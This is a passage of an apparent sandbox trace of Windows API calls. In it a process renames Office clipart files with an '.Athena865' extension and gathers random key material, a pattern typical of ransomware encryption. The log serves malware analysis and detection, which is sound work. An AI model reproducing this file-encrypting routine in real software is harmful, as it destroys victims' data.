| out: pbBuffer=0x241d188) returned 1 [0122.966] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.966] lstrcpyW (in: lpString1=0x241e8ae, lpString2="DD01585_.WMF" | out: lpString1="DD01585_.WMF") returned="DD01585_.WMF" [0122.966] lstrlenW (lpString="DD01585_.WMF") returned 12 [0122.966] lstrlenW (lpString="Athena865") returned 9 [0122.966] lstrcmpiW (lpString1="1585_.WMF", lpString2="Athena865") returned -1 [0122.966] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF.Athena865") returned 73 [0122.966] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01585_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01585_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.967] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01585_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.968] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2524) returned 1 [0122.968] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.968] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.968] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.970] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.971] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.971] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.971] lstrcpyW (in: lpString1=0x241e8ae, lpString2="DD01586_.WMF" | out: lpString1="DD01586_.WMF") returned="DD01586_.WMF" [0122.971] lstrlenW (lpString="DD01586_.WMF") returned 12 [0122.971] lstrlenW (lpString="Athena865") returned 9 [0122.972] lstrcmpiW (lpString1="1586_.WMF", lpString2="Athena865") returned -1 [0122.972] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF.Athena865") returned 73 [0122.972] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01586_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01586_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.973] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01586_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.973] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2324) returned 1 [0122.973] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.973] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.974] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.977] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.977] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.977] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.978] lstrcpyW (in: lpString1=0x241e8ae, lpString2="DD01628_.WMF" | out: lpString1="DD01628_.WMF") returned="DD01628_.WMF" [0122.978] lstrlenW (lpString="DD01628_.WMF") returned 12 [0122.978] lstrlenW (lpString="Athena865") returned 9 [0122.978] lstrcmpiW (lpString1="1628_.WMF", lpString2="Athena865") returned -1 [0122.978] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF.Athena865") returned 73 [0122.978] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01628_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01628_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.979] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01628_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.979] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=19068) returned 1 [0122.979] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.980] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.980] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.983] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.983] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.983] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.984] lstrcpyW (in: lpString1=0x241e8ae, lpString2="DD01629_.WMF" | out: lpString1="DD01629_.WMF") returned="DD01629_.WMF" [0122.984] lstrlenW (lpString="DD01629_.WMF") returned 12 [0122.984] lstrlenW (lpString="Athena865") returned 9 [0122.984] lstrcmpiW (lpString1="1629_.WMF", lpString2="Athena865") returned -1 [0122.984] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF.Athena865") returned 73 [0122.984] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01629_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01629_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.985] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01629_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.985] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=580) returned 1 [0122.985] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.986] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.986] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.989] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.990] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.990] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.991] lstrcpyW (in: lpString1=0x241e8ae, lpString2="DD01630_.WMF" | out: lpString1="DD01630_.WMF") returned="DD01630_.WMF" [0122.991] lstrlenW (lpString="DD01630_.WMF") returned 12 [0122.991] lstrlenW (lpString="Athena865") returned 9 [0122.991] lstrcmpiW (lpString1="1630_.WMF", lpString2="Athena865") returned -1 [0122.991] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF.Athena865") returned 73 [0122.991] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01630_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01630_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.992] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01630_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.993] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=296) returned 1 [0122.993] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.994] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.994] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.996] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.997] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.997] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.997] lstrcpyW (in: lpString1=0x241e8ae, lpString2="DD01631_.WMF" | out: lpString1="DD01631_.WMF") returned="DD01631_.WMF" [0122.997] lstrlenW (lpString="DD01631_.WMF") returned 12 [0122.997] lstrlenW (lpString="Athena865") returned 9 [0122.998] lstrcmpiW (lpString1="1631_.WMF", lpString2="Athena865") returned -1 [0122.998] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF.Athena865") returned 73 [0122.998] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01631_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01631_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.999] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01631_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.999] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=552) returned 1 [0122.999] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.999] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0123.000] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.002] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0123.003] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0123.003] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.003] lstrcpyW (in: lpString1=0x241e8ae, lpString2="DD01761_.WMF" | out: lpString1="DD01761_.WMF") returned="DD01761_.WMF" [0123.003] lstrlenW (lpString="DD01761_.WMF") returned 12 [0123.003] lstrlenW (lpString="Athena865") returned 9 [0123.003] lstrcmpiW (lpString1="1761_.WMF", lpString2="Athena865") returned -1 [0123.004] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF.Athena865") returned 73 [0123.004] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01761_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01761_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.005] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01761_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.005] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4148) returned 1 [0123.005] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0123.006] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0123.006] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.008] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0123.009] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0123.009] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.009] lstrcpyW (in: lpString1=0x241e8ae, lpString2="DD01772_.WMF" | out: lpString1="DD01772_.WMF") returned="DD01772_.WMF" [0123.009] lstrlenW (lpString="DD01772_.WMF") returned 12 [0123.009] lstrlenW (lpString="Athena865") returned 9 [0123.009] lstrcmpiW (lpString1="1772_.WMF", lpString2="Athena865") returned -1 [0123.010] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF.Athena865") returned 73 [0123.010] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01772_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01772_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.011] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01772_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.011] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2300) returned 1 [0123.011] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0123.012] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0123.012] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.014] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0123.015] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0123.015] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.015] lstrcpyW (in: lpString1=0x241e8ae, lpString2="DD01793_.WMF" | out: lpString1="DD01793_.WMF") returned="DD01793_.WMF" [0123.015] lstrlenW (lpString="DD01793_.WMF") returned 12 [0123.015] lstrlenW (lpString="Athena865") returned 9 [0123.015] lstrcmpiW (lpString1="1793_.WMF", lpString2="Athena865") returned -1 [0123.016] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF.Athena865") returned 73 [0123.016] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01793_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01793_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.017] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01793_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.017] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3252) returned 1 [0123.017] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0123.017] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0123.017] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.019] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0123.020] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0123.020] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.021] lstrcpyW (in: lpString1=0x241e8ae, lpString2="EAST_01.MID" | out: lpString1="EAST_01.MID") returned="EAST_01.MID" [0123.021] lstrlenW (lpString="EAST_01.MID") returned 11 [0123.021] lstrlenW (lpString="Athena865") returned 9 [0123.021] lstrcmpiW (lpString1="ST_01.MID", lpString2="Athena865") returned 1 [0123.021] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID.Athena865") returned 72 [0123.021] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\east_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\east_01.mid.athena865"), dwFlags=0x1) returned 1 [0123.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\east_01.mid.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.022] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6165) returned 1 [0123.022] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0123.023] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0123.023] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.025] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0123.025] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0123.025] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.026] lstrcpyW (in: lpString1=0x241e8ae, lpString2="ED00010_.WMF" | out: lpString1="ED00010_.WMF") returned="ED00010_.WMF" [0123.026] lstrlenW (lpString="ED00010_.WMF") returned 12 [0123.026] lstrlenW (lpString="Athena865") returned 9 [0123.026] lstrcmpiW (lpString1="0010_.WMF", lpString2="Athena865") returned -1 [0123.026] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF.Athena865") returned 73 [0123.026] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00010_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00010_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.027] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00010_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.027] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1382) returned 1 [0123.027] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0123.028] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0123.028] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.030] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0123.031] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0123.031] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.031] lstrcpyW (in: lpString1=0x241e8ae, lpString2="ED00019_.WMF" | out: lpString1="ED00019_.WMF") returned="ED00019_.WMF" [0123.031] lstrlenW (lpString="ED00019_.WMF") returned 12 [0123.031] lstrlenW (lpString="Athena865") returned 9 [0123.031] lstrcmpiW (lpString1="0019_.WMF", lpString2="Athena865") returned -1 [0123.031] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF.Athena865") returned 73 [0123.031] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00019_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00019_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00019_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.032] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=13042) returned 1 [0123.033] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0123.033] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0123.033] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.036] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0123.036] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0123.036] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.037] lstrcpyW (in: lpString1=0x241e8ae, lpString2="ED00172_.WMF" | out: lpString1="ED00172_.WMF") returned="ED00172_.WMF" [0123.037] lstrlenW (lpString="ED00172_.WMF") returned 12 [0123.037] lstrlenW (lpString="Athena865") returned 9 [0123.037] lstrcmpiW (lpString1="0172_.WMF", lpString2="Athena865") returned -1 [0123.037] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF.Athena865") returned 73 [0123.037] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00172_.wmf"), 